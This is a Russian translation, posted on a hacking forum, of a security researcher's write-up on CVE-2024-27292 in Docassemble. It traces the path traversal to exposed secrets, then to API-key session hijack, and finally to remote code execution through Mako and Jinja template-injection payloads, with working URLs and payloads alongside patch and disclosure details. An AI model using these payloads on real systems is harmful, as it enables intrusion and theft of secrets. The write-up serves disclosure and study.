• XSS.stack #1 – первый литературный журнал от юзеров форума

docAssembling exploits for RCE - CVE-2024-27292

BLUA

CPU register
Пользователь
Регистрация
24.03.2022
Сообщения
1 189
Решения
1
Реакции
794
Источник: https://tantosec.com/blog/docassemble/
Перевод: BLUA специально для xss.pro

cover.jpg


Этот пост рассматривает CVE-2024-27292 в Docassemble, выявляя уязвимость неаутентифицированного обхода путей, которая открывает доступ к конфиденциальным файлам и секретам, приводя к повышению привилегий и внедрению шаблонов, что позволяет выполнять удаленный код. В нем подробно описывается уязвимость, ее влияние и шаги по эксплуатации.

# Предыстория

«Docassemble — это бесплатная, открытая экспертная система для проведения интервью с пользователями и создания документов. Она предоставляет веб-сайт, который проводит интервью с пользователями. На основе собранной информации интервью могут предоставлять пользователям документы в формате PDF, RTF или DOCX, которые пользователи могут скачать или отправить по электронной почте.»

Я познакомился с Docassemble около года назад, работая над проектом по автоматизации некоторых процессов развития бизнеса. Хотя я специализируюсь на хакерстве, мне также нравится время от времени создавать что-то новое. Я многому научился о Docassemble, когда разрабатывал этот процесс автоматизации, и многие функции вызывали у меня интерес как у хакера. В марте 2024 года я решил использовать свое исследовательское время в TantoSec, чтобы более внимательно изучить Docassemble с точки зрения хакера.

Если вы хотите следить за блогом или изучить приложение в удобное для вас время, его очень легко запустить с помощью Docker. Для этого исследовательского проекта я использовал Docker-образ Docassemble версии 1.4.96, развернув приложение локально. Поскольку разработчик Docassemble предоставляет только образ с тегом "latest" на DockerHub, вам потребуется использовать git для загрузки версии 1.4.96 и сборки старой версии образа локально:
Код:
git clone https://github.com/jhpyle/docassemble
cd docassemble
git checkout v1.4.96
docker build -t yourname/mydocassemble .
cd ..
docker run -d -p 80:80 -p 443:443 --restart always --stop-timeout 600 yourname/mydocassemble

# Первоначальный обзор кода

Docassemble написан на языке Python и построен с использованием трех основных пакетов:
1. docassemble_base
2. docassemble_demo
3. docassemble_webapp

Поскольку кодовая база огромна, я решил посмотреть на неаутентифицированные маршруты, которые реализует приложение. Это привело меня к обнаружению маршрута /interview, который используется приложением для отображения домашней страницы по умолчанию при развертывании приложения:
home_page.png

Это сразу привлекло мое внимание, потому что значение data/questions/default-interview... в параметре /?i= URL-адреса выглядит как путь к файлу. Если это действительно путь к файлу, это потенциально может быть вектором уязвимости обхода пути к файлу! Поэтому я начал исследовать, пытаясь понять, как приложение обрабатывает значение, переданное этому параметру URL.

Реализация этого пути находится в файле docassemble/webapp/server.py на строке 6666:
Код:
@app.route(index_path, methods=['POST', 'GET'])
def index(action_argument=None, refer=None):
    # if refer is None and request.method == 'GET':
    #    setup_translation()
    is_ajax = bool(request.method == 'POST' and 'ajax' in request.form and int(request.form['ajax']))
    docassemble.base.functions.this_thread.misc['call'] = refer
    return_fake_html = False
Маршрут приложения предназначен для переменной index_path, которая по умолчанию в установке Docassemble имеет значение /interview. Это определяется блоком кода в файле docassemble/webapp/server.py на строке 6638:
Код:
if COOKIELESS_SESSIONS:
    index_path = '/i'
    html_index_path = '/interview'
else:
    index_path = '/interview'
    html_index_path = '/i'

Здесь значение переменной index_path зависит от COOKIELESS_SESSIONS. Переменная COOKIELESS_SESSIONS может быть True или False в зависимости от её наличия в конфигурационном файле Docassemble, который находится в docassemble/config/config.yml, согласно блоку кода в файле docassemble/webapp/server.py на строке 175:
Код:
COOKIELESS_SESSIONS = daconfig.get('cookieless sessions', False)
Это значение отсутствует в стандартной установке Docassemble, поэтому очевидно, что реализация маршрута index_path предназначена для /interview, что нас и интересует.

Теперь наш следующий шаг — посмотреть, где обрабатывается значение, переданное аргументу URL i в пути /interview. Это приведет нас к строке 6733 в файле docassemble/webapp/server.py:
Код:
@app.route(index_path, methods=['POST', 'GET'])
def index(action_argument=None, refer=None):

<-- Snipped -->

if 'i' not in request.args and 'state' in request.args:
    try:
        yaml_filename = re.sub(r'\^.*', '', from_safeid(request.args['state']))
    except:
        yaml_filename = guess_yaml_filename()
else:
    yaml_filename = request.args.get('i', guess_yaml_filename())
    
<-- Snipped -->
Мы можем видеть в коде выше, что маршрут /interview принимает state, а не только i в качестве аргумента URL. Так что же здесь происходит? Что мы можем сделать с любым из этих аргументов? Кажется, что независимо от того, какой параметр используется, он используется для определения значения yaml_filename.

Если используется state, код входит в блок if и передает его значение функции from_safeid:
Код:
def safeid(text):
    return re.sub(r'[\n=]', '', codecs.encode(text.encode('utf-8'), 'base64').decode())

Эта функция просто принимает строку, закодированную в base64, и возвращает оригинальную строку в кодировке UTF-8. Мы можем сделать вывод, что аргумент state принимает строку, закодированную в base64, и устанавливает значение yaml_filename с ее декодированным значением в UTF-8.

С другой стороны, если используется i, код входит в блок else и просто присваивает его значение переменной yaml_filename.

Теперь мы установили, что можем передать либо значение, закодированное в base64, в state, либо значение в кодировке UTF-8 в i для управления yaml_filename. Но что приложение делает с yaml_filename?

На строке 6794 файла docassemble/webapp/server.py приложение передает yaml_filename в функцию get_interview():
Код:
interview = docassemble.base.interview_cache.get_interview(yaml_filename)

Функция get_interview() находится в файле docassemble/base/interview_cache.py на строке 7:
Код:
def get_interview(path):
    if path is None:
        raise DAException("Tried to load interview source with no path")
    if cache_valid(path):
        the_interview = cache[path]['interview']
        the_interview.from_cache = True
    else:
        interview_source = docassemble.base.parse.interview_source_from_string(path)
        interview_source.update()
        the_interview = interview_source.get_interview()
        the_interview.from_cache = False
        cache[interview_source.path] = {'index': interview_source.get_index(), 'interview': the_interview, 'source': interview_source}
    return the_interview

Эта функция проверяет, содержится ли содержимое пути к файлу в ее кэше, с помощью функции cache_valid. Если содержимое есть в кэше, она устанавливает interview_source на содержимое кэша, иначе передает значение пути к файлу в функцию interview_source_from_string() в файле docassemble/base/parse.py:
Код:
def interview_source_from_string(path, **kwargs):
    if path is None:
        raise DAError("Passed None to interview_source_from_string")
    # logmessage("Trying to find " + path)
    path = re.sub(r'(docassemble.playground[0-9]+[^:]*:)data/questions/(.*)', r'\1\2', path)
    for the_filename in question_path_options(path):
        if the_filename is not None:
            new_source = InterviewSourceFile(filepath=the_filename, path=path)
            if new_source.update(**kwargs):
                return new_source
    raise DANotFoundError("Interview " + str(path) + " not found")

Вышеприведенная функция удаляет лишние части пути к файлу, обеспечивая, что остается только абсолютный путь к файлу. Например, если вспомнить начало этого поста, то в стандартной установке Docassemble, стандартное интервью показывается приложением по следующему URL:
- Функция interview_source_from_string отфильтрует часть data/questions/default-interview.yml из значения i. Затем она возвращает абсолютный путь к файлу обратно в функцию get_interview, где вызывается функция update() в файле /docassemble/base/parse.py на строке 378:
Код:
def update(self, **kwargs):
    try:
        with open(self.filepath, 'r', encoding='utf-8') as the_file:
            orig_text = the_file.read()
    except:
        return False
    if not orig_text.startswith('# use jinja'):
        self.set_content(orig_text)
        return True
    env = Environment(
        loader=DAFileSystemLoader(self.directory),
        autoescape=select_autoescape()
    )
    template = env.get_template(os.path.basename(self.filepath))
    data = copy.deepcopy(get_config('jinja data'))
    data['__version__'] = da_version
    data['__architecture__'] = da_arch
    data['__filename__'] = self.path
    data['__current_package__'] = self.package
    data['__parent_filename__'] = kwargs.get('parent_source', self).path
    data['__parent_package__'] = kwargs.get('parent_source', self).package
    data['__interview_filename__'] = kwargs.get('interview_source', self).path
    data['__interview_package__'] = kwargs.get('interview_source', self).package
    data['__hostname__'] = get_config('external hostname', None) or 'localhost'
    data['__debug__'] = bool(get_config('debug', True))
    try:
        self.set_content(template.render(data))
    except Exception as err:
        self.set_content("__error__: " + repr("Jinja2 rendering error: " + err.__class__.__name__ + ": " + str(err)))
    return True
Эта функция использует переданный нами путь к файлу и просто возвращает содержимое файла, что приводит к уязвимости обхода пути. Здесь есть еще одна уязвимость для внимательных, но об этом позже 👀

# CVE-2024-27292 - Неаутентифицированный обход пути(Unauthenticated Path Traversal)

Используя наш анализ до этого момента, мы можем подтвердить, что приложение уязвимо к обходу пути к файлу, просто перейдя по адресу http://localhost/interview?i=/etc/passwd
[ATTACH type="full"]88726[/ATTACH]

Мы также можем использовать ту же уязвимость, используя аргумент state, где значение, передаваемое ему, закодировано в base64 как “/etc/passwd”:
- http://localhost/interview?i=/etc/passwd
state_param_lfr.png


Я сообщил об этой уязвимости в Docassemble, и ей был присвоен идентификатор CVE-2024-27292.

Используя уязвимость обхода пути, мы также можем прочитать файл конфигурации Docassemble с сервера Docassemble.
- http://localhost/interview?i=/usr/share/docassemble/config/config.yml
config_file.png


Этот файл содержит чувствительные зашитые секреты, которые могут позволить злоумышленникам получить доступ к секретным ключам для различных элементов, которые могут быть настроены в затронутом экземпляре Docassemble. Наиболее чувствительными являются ключи для:
- OAuth
- Facebook
- Github
- Google
- Twitter
- AWS S3
- Flask Secret Key

Это может привести к полной компрометации экземпляра Docassemble. Однако это может быть использовано только в тех случаях, когда эти службы настроены для использования в Docassemble.

# Эскалация уязвимости обхода пути

Обход пути — это хорошо, но я хотел найти способ эскалировать это. Это привело меня к обнаружению того, что у Docassemble есть собственный интерфейс прикладного программирования (API). Этот API позволяет пользователям с привилегиями администратора или разработчика взаимодействовать с ним. Docassemble использует API-ключи для аутентификации пользователей, которые могут передаваться в качестве параметра URL или с использованием различных заголовков, таких как Authorization или X-API-KEY. В сценарии, подобном следующему, где API-ключ используется в URL, уязвимость CVE-2024-27292 может быть использована для извлечения ключей из файлов журналов Docassemble:
Код:
curl http://localhost/api/list?key=H3PLMKJKIVATLDPWHJH3AGWEJPFU5GRT

Если у API-ключа нет никаких ограничений, таких как список разрешенных IP-адресов для доступа, его можно использовать для получения действительной сессии пользователя, которому принадлежит извлеченный API-ключ. Например, API-ключ можно извлечь из файла журнала /usr/share/docassemble/log/access.log по следующему URL:
- http://localhost/interview?i=/usr/share/docassemble/log/access.log
access_log_api_key.png


Этот API-ключ затем можно использовать для получения cookie сессии, просто отправив GET-запрос на любой действительный API-эндпоинт, например: http://localhost/api/list?key=NQEp6xD54OdGNF8Sc3tKlPZmIPLzs7W2
api_key_session.png


Эту cookie сессии затем можно использовать для доступа к приложению с привилегиями пользователя, которому принадлежит извлеченный API-ключ. В этом примере был использован API-ключ администратора.
admin_session.png

Ура! Теперь у нас есть способ получить действительную сессию как пользователь с более высокими привилегиями, если звезды сойдутся. Это дает нам доступ к более широкому спектру функциональностей по сравнению с неаутентифицированным пользователем, увеличивая поверхность атаки приложения.

# Выполнение кода с использованием привилегированной учетной записи

Как только злоумышленник скомпрометирует привилегированную учетную запись, такую как учетная запись администратора или разработчика, существует множество способов выполнить код на сервере приложения. Это можно сделать, установив произвольные пакеты Python, написав модули Python или используя блоки кода Python в YAML-файлах интервью Docassemble. Еще одной небезопасной функцией является использование шаблонов Mako для создания интервью. Hacktricks имеет готовый к использованию полезный код для инъекции шаблонов Mako, чтобы получить выполнение кода на сервере. Мы можем использовать этот же полезный код в этом образце YAML-файла интервью в Docassemble Playground для выполнения кода с учетной записью разработчика или администратора:
Код:
mandatory: True
question: |
  RCE
subquestion: |
  <%
    import os
    command = 'id'
    x=os.popen(command).read()
   %>
  ${x}

На следующем URL-адресе используйте вышеупомянутый полезный код и нажмите "Save and Run" для выполнения команды id на сервере:
- http://localhost/playground?project=default&file=test.yml
mako_ssti.png


Затем загружается следующая страница с выводом команды:
mako_rce.png


Эта уязвимость Server-Side Template Injection была сообщена разработчикам Docassemble, но не была признана действительной уязвимостью. Разработчик подчеркнул, что Docassemble был создан для того, чтобы предоставить разработчикам интервью полную мощь языка программирования общего назначения, и что администратор не предоставит роль разработчика ненадежному пользователю.

Мы успешно получили возможность выполнения кода на сервере с точки зрения неаутентифицированного злоумышленника, объединив различные уязвимости. Однако эта цепочка сильно зависит от компрометации API-ключей для получения действительной привилегированной сессии. Поэтому я хотел найти другой путь, который мог бы дать нам тот же результат без зависимости от API-ключей.

# От обхода пути к серверной инъекции шаблона

Возвращаясь к уязвимости обхода пути, где мы рассматривали функцию update(), я упоминал, что существует еще одна уязвимость. Это та же функция, которая читает файл из пути, указанного в уязвимом параметре URL. Давайте снова посмотрим на код и увидим, в чем дело:
Код:
def update(self, **kwargs):
    try:
        with open(self.filepath, 'r', encoding='utf-8') as the_file:
            orig_text = the_file.read()
    except:
        return False
    if not orig_text.startswith('# use jinja'):
        self.set_content(orig_text)
        return True
    env = Environment(
        loader=DAFileSystemLoader(self.directory),
        autoescape=select_autoescape()
    )
    template = env.get_template(os.path.basename(self.filepath))
    data = copy.deepcopy(get_config('jinja data'))
    data['__version__'] = da_version
    data['__architecture__'] = da_arch
    data['__filename__'] = self.path
    data['__current_package__'] = self.package
    data['__parent_filename__'] = kwargs.get('parent_source', self).path
    data['__parent_package__'] = kwargs.get('parent_source', self).package
    data['__interview_filename__'] = kwargs.get('interview_source', self).path
    data['__interview_package__'] = kwargs.get('interview_source', self).package
    data['__hostname__'] = get_config('external hostname', None) or 'localhost'
    data['__debug__'] = bool(get_config('debug', True))
    try:
        self.set_content(template.render(data))
    except Exception as err:
        self.set_content("__error__: " + repr("Jinja2 rendering error: " + err.__class__.__name__ + ": " + str(err)))
    return True
Мы видим в коде, что блок if not проверяет, начинается ли содержимое файла в указанном пути с # use jinja. Если это так, он обрабатывает его как шаблон Jinja и просто рендерит файл! Таким образом, если я загружу файл и контролирую его содержимое, а затем использую уязвимость обхода пути для доступа к файлу, у меня должна быть возможность выполнения кода. Это выглядит многообещающе, потому что в интервью Docassemble часто разрешается пользователям загружать файлы.

Давайте проверим это, создав интервью в Docassemble с загрузкой файла, используя следующий YAML-файл в Docassemble playground с аккаунтом пользователя-разработчика:
Код:
---
question: |
  Please upload a picture of yourself. 
fields:
  - Picture: user_picture
    datatype: file
---
question: |
  You're so adorable, François! 
subquestion: |
  ${ user_picture } 
mandatory: True

Этот YAML-шаблон взят непосредственно из примера Docassemble для загрузки файла. Это приводит к следующей загрузке файла:
file_upload.png


Используя эту загрузку файла, давайте загрузим файл RCE.payload со следующим содержимым:
Код:
# use jinja
{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}
jinja_syntax_file.png


Загруженный файл можно получить по следующему URL в этом случае:
- http://localhost/uploadedfile/8/RCE.payload
uploaded_file_endpoint.png


В стандартной установке Docassemble, число после /uploadfile/, которое в данном случае равно 8 в URL загруженного файла, относится к абсолютному пути файла /usr/share/docassemble/files/000/000/000/008/file.payload на веб-сервере. Путь файла фактически является шестнадцатеричным представлением числа 8. По этой логике, если файл можно получить, используя путь /uploadedfile/11/file.payload, соответствующий абсолютный путь файла на сервере будет /usr/share/docassemble/files/000/000/000/00b/file.png. Используя эту логику, мы можем определить точный путь загруженного файла на веб-сервере, который мы можем использовать в нашей уязвимости обхода пути.

Поскольку мы загрузили файл RCE.payload с #use jinja в первой строке, давайте посмотрим, сможем ли мы использовать CVE-2024-27292 для отображения внедренного Jinja SSTI полезной нагрузки, перейдя по следующему URL:
file_upload_jinja_rce.png


Успех! Очень хорошо!

# Патч
CVE-2024-27292 был исправлен в Docassemble версии 1.4.97 и выше.

# Хронология
- 29/02/2024 - Сообщено о обходе пути в Docassemble
- 01/03/2024 - CVE-2024-27292 присвоен и исправлен разработчиком
- 08/04/2024 - Сообщено о внедрении шаблона на стороне сервера (SSTI) в Docassemble
- 08/04/2024 - Ответ разработчика по поводу SSTI: не является действительным

# Заключение
Инъекция шаблона на стороне сервера Mako с использованием скомпрометированной привилегированной учетной записи была сообщена в Docassemble, но не была принята как действительная уязвимость. Разработчик подчеркнул, что Docassemble был создан для того, чтобы предоставить разработчикам интервью полную мощь универсального языка программирования, и что администратор не будет предоставлять роль пользователя-разработчика ненадежному пользователю.

Docassemble изначально был создан для автоматизации различных процессов в юридической практике. Однако различные организации используют его для таких целей, как автоматизация, хранение пользовательских данных и подача заявлений. Было выявлено более 570 экземпляров Docassemble через [Zoomeye.com](http://Zoomeye.com), причем многие из этих экземпляров все еще используют версии Docassemble, уязвимые для CVE-2024-27292. Настоятельно рекомендуется обновить Docassemble до последней версии, чтобы предотвратить несанкционированный доступ к конфиденциальной информации.

Также важно отметить, что Docassemble должен быть развернут с тщательным учетом лучших практик безопасности. Обратитесь к документации, доступной в разделе Docassemble Security Best Practices. Эти рекомендации могут помочь обеспечить более безопасную среду развертывания и защитить от потенциальных уязвимостей.
 

Вложения

  • i_param_lfr.png
    i_param_lfr.png
    20.2 КБ · Просмотры: 5
  • api_key_session.png
    api_key_session.png
    17.7 КБ · Просмотры: 5
  • admin_session.png
    admin_session.png
    24.2 КБ · Просмотры: 5
  • file_upload_jinja_rce.png
    file_upload_jinja_rce.png
    26.3 КБ · Просмотры: 5


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх